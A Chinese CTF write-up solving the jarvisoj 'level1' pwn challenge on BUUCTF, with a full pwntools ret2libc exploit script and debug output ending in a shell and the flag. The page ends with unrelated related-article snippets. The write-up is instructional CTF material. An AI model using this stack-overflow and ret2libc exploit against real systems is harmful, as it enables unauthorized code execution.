从零开始做题:逆向 ret2libc jarvisoj level1

1.题目信息

BUUCTF在线评测

2.原理

篡改栈帧上的返回地址为攻击者手动传入的shellcode所在缓冲区地址,并且该区域有执行权限。

3.解题步骤

3.1 首先使用checksec工具查看它开了啥保护措施

基本全关,栈可执行。

root@pwn_test1604:/ctf/work/9# checksec ./level1
[*] '/ctf/work/9/level1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
root@pwn_test1604:/ctf/work/9# 

3.2 使用ida查看一下该程序

在危险函数中,程序向我们输出了一个栈站上的地址因此我们可以朝buf写一段shellcode,然后 将返回地址覆盖为buf的地址。在pwntools中可以使用shellcraft.sh()写shellcode,再使用asm将其转换成机器码。

ida帮我们计算出来了buf字符串距离rbp有0x88个字节,由于ebp本身还占4个字节,所以溢出0x8c个字节后将返回地址修改为buf地址,python有 个自带的方法ljust可以将我们的shellcode长度补充为固定字节,期作用是使shellcode左对齐,然后不足长度补齐指定数据。

参数buf存在明显的溢出漏洞,程序还将buf参数的地址给了我们
由于没有开启nx,所以我们可以先通过read读入shellcode,然后利用溢出漏洞将ret覆盖为buf参数地址(此时buf里是shellcode)去执行即可获取shell
但是在测试的时候发现,远程连接不会一开始就回显buf的地址,所以上述的方法只能本地打通
                        
这题想要远程打通,我是使用了常规的ret2libc的方法,远程是先调用了write函数,然后是function函数

利用write函数泄露libc版本,之后计算system函数和/bin/sh字符串的位置,最后构造rop攻击获取shell

 

3.3 完整源码

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pickle import TRUE
from pwn import *
import sys
from LibcSearcher import *

context.terminal=["tmux","sp","-h"]
context.log_level='debug'
#context.arch='i386'

DEBUG = 1

LOCAL = True
BIN   ='./level1'
#HOST  ='pwn2.jarvisoj.com'
#PORT  =9877
HOST  ='node5.buuoj.cn'
PORT  =29232







def get_base_address(proc):
	return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)

def debug(bps,_s):
    script = "handle SIGALRM ignore\n"
    PIE = get_base_address(p)
    script += "set $_base = 0x{:x}\n".format(PIE)
    for bp in bps:
        script += "b *0x%x\n"%(PIE+bp)
    script += _s
    gdb.attach(p,gdbscript=script)

elf = ELF("./level1")
main_addr=0x80484b7
write_plt=elf.plt['write'] 
#write的plt表可以调用write函数
write_got=elf.got['write'] 	
#write的got表里面有write函数的真实地址




def exploit(p):

	elf = ELF("./level1")
	main_addr=0x80484b7
	write_plt=elf.plt['write'] 	#write的plt表可以调用write函数
	write_got=elf.got['write'] 	#write的got表里面有write函数的真实地址
	pl ='a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4)   	#  栈迁移过来后 执行write函数 write后返回main函数 write的三个参数
	p.send(pl)
	write_addr = u32(p.recv(4))	    #  因为write的第二个参数是write_got,所以它会输出write的got
	libc=LibcSearcher('write',write_addr) #根据泄漏的write地址,用LibcSearcher可以找到对应的libc版本,然后找到对应的write函数地址
	libc_base=write_addr-libc.dump('write')     #找到偏移
	system_addr=libc_base+libc.dump('system')     #根据偏移和system在libc中的地址找到system在程序中的地址
	bin_sh=libc_base+libc.dump('str_bin_sh')     #根据偏移和sh在libc中的地址找到sh在程序中的地址
	pl ='a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)
	p.sendline(pl)
	p.interactive()
	return

if __name__ == "__main__":
	elf = ELF(BIN)
	if len(sys.argv) > 1:
		LOCAL = False
		p = remote(HOST, PORT)
		exploit(p)
	else:
		LOCAL = True
		p = process(BIN)
		log.info('PID: '+ str(proc.pidof(p)[0]))
		# pause
		if DEBUG:
			debug([],"")
		exploit(p)

只用修改的地方如下: 

LOCAL = True
BIN   ='./level1'
#HOST  ='pwn2.jarvisoj.com'
#PORT  =9877
HOST  ='node5.buuoj.cn'
PORT  =29232

elf = ELF("./level1")
main_addr=0x80484b7
write_plt=elf.plt['write'] 
#write的plt表可以调用write函数
write_got=elf.got['write']     
#write的got表里面有write函数的真实地址

def exploit(p):

    elf = ELF("./level1")
    main_addr=0x80484b7
    write_plt=elf.plt['write']     #write的plt表可以调用write函数
    write_got=elf.got['write']     #write的got表里面有write函数的真实地址
    pl ='a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4)       #  栈迁移过来后 执行write函数 write后返回main函数 write的三个参数
    p.send(pl)
    write_addr = u32(p.recv(4))        #  因为write的第二个参数是write_got,所以它会输出write的got
    libc=LibcSearcher('write',write_addr) #根据泄漏的write地址,用LibcSearcher可以找到对应的libc版本,然后找到对应的write函数地址
    libc_base=write_addr-libc.dump('write')     #找到偏移
    system_addr=libc_base+libc.dump('system')     #根据偏移和system在libc中的地址找到system在程序中的地址
    bin_sh=libc_base+libc.dump('str_bin_sh')     #根据偏移和sh在libc中的地址找到sh在程序中的地址
    pl ='a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)
    p.sendline(pl)
    p.interactive()
    return
 

 3.4 运行结果

root@pwn_test1604:/ctf/work/9# python level1-buuctf.py 1
[DEBUG] PLT 0x8048330 read
[DEBUG] PLT 0x8048340 printf
[DEBUG] PLT 0x8048350 __gmon_start__
[DEBUG] PLT 0x8048360 __libc_start_main
[DEBUG] PLT 0x8048370 write
[*] '/ctf/work/9/level1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[DEBUG] PLT 0x8048330 read
[DEBUG] PLT 0x8048340 printf
[DEBUG] PLT 0x8048350 __gmon_start__
[DEBUG] PLT 0x8048360 __libc_start_main
[DEBUG] PLT 0x8048370 write
[+] Opening connection to node5.buuoj.cn on port 29232: Done
[DEBUG] PLT 0x8048330 read
[DEBUG] PLT 0x8048340 printf
[DEBUG] PLT 0x8048350 __gmon_start__
[DEBUG] PLT 0x8048360 __libc_start_main
[DEBUG] PLT 0x8048370 write
[DEBUG] Sent 0xa0 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000080  61 61 61 61  61 61 61 61  61 61 61 61  70 83 04 08  │aaaa│aaaa│aaaa│p···│
    00000090  b7 84 04 08  01 00 00 00  1c a0 04 08  04 00 00 00  │····│····│····│····│
    000000a0
[DEBUG] Received 0x4 bytes:
    00000000  c0 73 eb f7                                         │·s··││
    00000004
[+] ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) be choosed.
[DEBUG] Sent 0x99 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000080  61 61 61 61  61 61 61 61  61 61 61 61  40 d9 e1 f7  │aaaa│aaaa│aaaa│@···│
    00000090  b7 84 04 08  2b c0 f3 f7  0a                        │····│+···│·│
    00000099
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x6d bytes:
    'bin\n'
    'boot\n'
    'dev\n'
    'etc\n'
    'flag\n'
    'flag.txt\n'
    'home\n'
    'lib\n'
    'lib32\n'
    'lib64\n'
    'media\n'
    'mnt\n'
    'opt\n'
    'proc\n'
    'pwn\n'
    'root\n'
    'run\n'
    'sbin\n'
    'srv\n'
    'sys\n'
    'tmp\n'
    'usr\n'
    'var\n'
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x2b bytes:
    'flag{232ee13a-17ab-4e9f-8a29-3481de113920}\n'
flag{232ee13a-17ab-4e9f-8a29-3481de113920}
$  

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/387624.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【双指针】【C++算法】1537. 最大得分

作者推荐 【深度优先搜索】【树】【图论】2973. 树中每个节点放置的金币数目 本文涉及知识点 双指针 LeetCoce 1537. 最大得分 你有两个 有序 且数组内元素互不相同的数组 nums1 和 nums2 。 一条 合法路径 定义如下: 选择数组 nums1 或者 nums2 开始遍历&…

极其抽象的SpringSecurity理解

原始:A → B Security:A → S → B 太抽象了,看不懂啊T_T 抽象故事 故事大概:C是一个大区,拥有巨大的火力(C准备联合B吞并掉A),A得到了这个消息,…

解决‘vue‘ 不是内部或外部命令,也不是可运行的程序(设置全局变量)

发现是没有执行: npm install -g vue/cli 但是发现还是不行 此时,我们安装了 Vue CLI,但是在运行 vue ui 命令时出现了问题。这通常是因为全局安装的 Vue CLI 的路径没有被正确地添加到系统的环境变量中。 可以尝试以下几种方法来解决这个问…

视觉slam十四讲学习笔记(四)相机与图像

理解理解针孔相机的模型、内参与径向畸变参数。理解一个空间点是如何投影到相机成像平面的。掌握OpenCV的图像存储与表达方式。学会基本的摄像头标定方法。 目录 前言 一、相机模型 1 针孔相机模型 2 畸变 单目相机的成像过程 3 双目相机模型 4 RGB-D 相机模型 二、图像…

LEETCODE 315. 计算右侧小于当前元素的个数(归并)

class Solution { public: // 将count声明为publicvector<int> count; vector<int> indexs,tmp;public:vector<int> countSmaller(vector<int>& nums) {//归并int left0;int rightnums.size()-1;//计数// vector<int> count(nums.size()); …

【MATLAB】PSO_BP神经网络回归预测(多输入多输出)算法原理

有意向获取代码&#xff0c;请转文末观看代码获取方式~也可转原文链接获取~ 1 基本定义 PSO-BP神经网络回归预测&#xff08;多输入多输出&#xff09;算法是一种结合粒子群优化算法&#xff08;PSO&#xff09;和反向传播&#xff08;BP&#xff09;神经网络的混合算法。该算…

CSS之选择器、优先级、继承

1.CSS选择器 常用的选择器 <body><div class"parent"><div id"one" style"background: blue" class"child">1<div class"one_one">11</div><div style"background-color: blueviole…

vue3 Element Plus 基于webstorm练习

提要 vue是前端框架&#xff0c;Elemen是组件库。前端框架和组件库的区别与联系 nodejs 脚本语言需要一个解析器才能运行&#xff0c;JavaScript是脚本语言&#xff0c;在不同的位置有不一样的解析器&#xff0c;如写入html的js语言&#xff0c;浏览器是它的解析器角色。而对…

浅谈业务场景中缓存的使用

业务场景中缓存的使用 一、背景二、缓存分类1.本地缓存2.分布式缓存 三、缓存读写模式1.读请求2.写请求 四、缓存穿透1.缓存空对象2.请求校验3.请求来源限制4.布隆过滤器 五、缓存击穿1.改变过期时间2.串行访问数据库 六、缓存雪崩1.避免集中过期2.提前更新缓存 七、缓存与数据…

TMGM公司官网介绍

TMGM主要提供外汇、贵金属、原油、股指等CFD产品&#xff0c;客户可以根据个人的交易习惯选择其中一种或多种进行投资。具体来说&#xff0c;TMGM的金融产品包括但不限于货币对、黄金、原油、股票指数等。此外&#xff0c;TMGM还提供多种账户类型以满足不同客户的交易需求。 请…

error MSB8008: 指定的平台工具集(v143)未安装或无效。请确保选择受支持的 PlatformToolset 值解决办法

右击解决方案&#xff0c;选择属性 将工具集为143的修改为其他&#xff0c;如图 重新编译即可运行

DDC技术:AIGC网络的革命性解决方案

2023年&#xff0c;人工智能生成内容&#xff08;AIGC&#xff09;技术将蓬勃发展&#xff0c;其中ChatGPT作为一个典型案例&#xff0c;在文本生成、代码开发和诗歌创作等多个领域引起行业变革。DDC技术对改变网络格局具有创新和突破性意义&#xff0c;很大程度上提升了效率和…

Python 读取pdf文件

Python 实现读取pdf文件简单示例。 安装命令 需要安装操作pdf的三方类库&#xff0c;命令如下&#xff1a; pip install pdfminer3K 安装过程如下&#xff1a; 引入类库 需要引入很多的类库。 示例如下&#xff1a; import sys import importlib importlib.reload(sys)fr…

汽车零部件制造业MES系统解决方案

一、​汽车零部件行业现状 随着全球汽车产业不断升级&#xff0c;汽车零部件市场竞争日趋激烈&#xff0c;从上游的钢铁、塑料、橡胶等生产到下游的主机厂配套制造&#xff0c;均已成为全球各国汽车制造大佬战略目标调整的焦点&#xff0c;其意欲在汽车零部件行业快速开疆扩土&…

蓝牙BLE学习-GAP

1.概述 GAP层&#xff08;Generic access profile-通用访问配置文件&#xff09;。GAP是对LL层payload&#xff08;有效数据包&#xff09;如何进行解析的两种方式的一种&#xff0c;而且也是最简单的一种。GAP简单的对LL payload进行一些规范和定义&#xff0c;因此GAP能实现的…

Compose高级别API动画指南

前文讲了Compose中的低级别API动画&#xff0c;与之对应的&#xff0c;还有高级别API动画&#xff0c;同样也符合Material-Design规范。所有高级别动画 API 都是在低级别动画 API 的基础上构建而成&#xff0c;其对应关系如图&#xff1a; 接下来就对其高级别API逐个分析&…

【王道数据结构】【chapter5树与二叉树】【P159t12】

设一棵二叉树的结点结构为(LLINK,INFO,RLINK)&#xff0c;ROOT为指向该二叉树根结点的指针&#xff0c;p和q分别为指向该二叉树中任意两个节点的指针&#xff0c;试编写算法ANCESTOR(ROOT,p,q,r)&#xff0c;找到p和q的最近公共祖先结点r #include <iostream> #include &…

Linux第54步_根文件系统第1步_编译busybox并安装_然后添加“根文件系统”的库

学习编译busybox&#xff0c;并安装&#xff0c;然后添加“根文件系统”的库。有人说busybox构建根文件系统&#xff0c;只适合学习&#xff0c;不适合做项目。 1、了解ubuntu的根文件系统 根文件系统的目录名为“/”&#xff0c;就是一个斜杠。 1)、输入“cd /回车”&…

算法学习——LeetCode力扣二叉树篇7

算法学习——LeetCode力扣二叉树篇7 236. 二叉树的最近公共祖先 236. 二叉树的最近公共祖先 - 力扣&#xff08;LeetCode&#xff09; 描述 给定一个二叉树, 找到该树中两个指定节点的最近公共祖先。 百度百科中最近公共祖先的定义为&#xff1a;“对于有根树 T 的两个节点…

加速创新如何先从创意管理开始?

文章详细介绍了什么是创意管理以及它在组织中的重要性和最佳实践。创意管理是指在组织内捕捉、组织、评估和实施创意的过程。它通过建立一个结构化的系统&#xff0c;从员工、客户或其他利益相关者那里收集创意&#xff0c;并系统地审查和选择最有前景的创意进行进一步的开发或…